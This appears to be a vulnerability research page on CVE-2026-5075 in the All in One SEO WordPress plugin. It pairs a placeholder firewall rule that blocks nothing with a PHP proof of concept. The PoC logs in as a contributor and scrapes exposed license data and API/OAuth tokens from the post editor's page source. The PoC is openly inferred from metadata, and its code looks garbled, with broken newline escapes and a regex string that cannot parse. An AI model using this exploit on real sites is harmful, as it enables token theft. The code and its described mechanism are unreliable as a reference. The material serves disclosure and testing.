CVE-2026-5075: All in One SEO <= 4.9.7 – Authenticated (Contributor+) Sensitive Information Exposure via 'internalOptions' Localized Script Data (all-in-one-seo-pack)

# Atomic Edge WAF Rule - CVE-2026-5075 (metadata-based)
SecRule REQUEST_URI "@unconditionalMatch" "id:20265075,phase:2,pass,nolog,skipAfter:END"
SecMarker END

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5075 - All in One SEO <= 4.9.7 - Authenticated (Contributor+) Sensitive Information Exposure via 'internalOptions' Localized Script Data

// This PoC demonstrates how a contributor-level attacker can extract exposed API tokens
// from the page source of a WordPress post editor.
// The vulnerability is inferred from CWE and description; no code diff is available.

// Configuration
$target_url = 'http://localhost/wordpress'; // Change this to your target WordPress URL
$username = 'contributor_user'; // Change to a contributor-level username
$password = 'user_password'; // Change to the user's password

// Step 1: Authenticate as contributor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log%20In&redirect_to=' . urlencode($target_url . '/wp-admin/'));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);

// Step 2: Access post editor to fetch the page containing localized script data
// This simulates an attacker viewing the source of any post edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$editor_page = curl_exec($ch);
curl_close($ch);

// Step 3: Extract the localized script data containing internal options
// The target script block typically looks like:
// <script id='aioseo-js-extra'>
// var aioseo = {"internalOptions":{...}};
// </script>

preg_match('/<script[^>]*id=["']aioseo-js-extra["'][^>]*>.*?({.*?internalOptions.*?}).*?</script>/s', $editor_page, $matches);

if (isset($matches[1])) {
    $localized_data = json_decode($matches[1], true);
    if (isset($localized_data['internalOptions'])) {
        echo "[+] Exposed internal options found!n";
        print_r($localized_data['internalOptions']);
        
        // Check for specific sensitive data
        if (isset($localized_data['internalOptions']['license'])) {
            echo "n[!] License information exposed!n";
        }
        if (isset($localized_data['internalOptions']['tokens'])) {
            echo "n[!] API/OAuth tokens exposed!n";
        }
    } else {
        echo "[-] No internalOptions found in localized data. Vulnerability may be patched.n";
    }
} else {
    echo "[-] Could not find aioseo localized script data.n";
    echo "[*] The script may use a different ID or the vulnerability may not be present.n";
}

// Clean up
unlink('/tmp/cve_cookies.txt');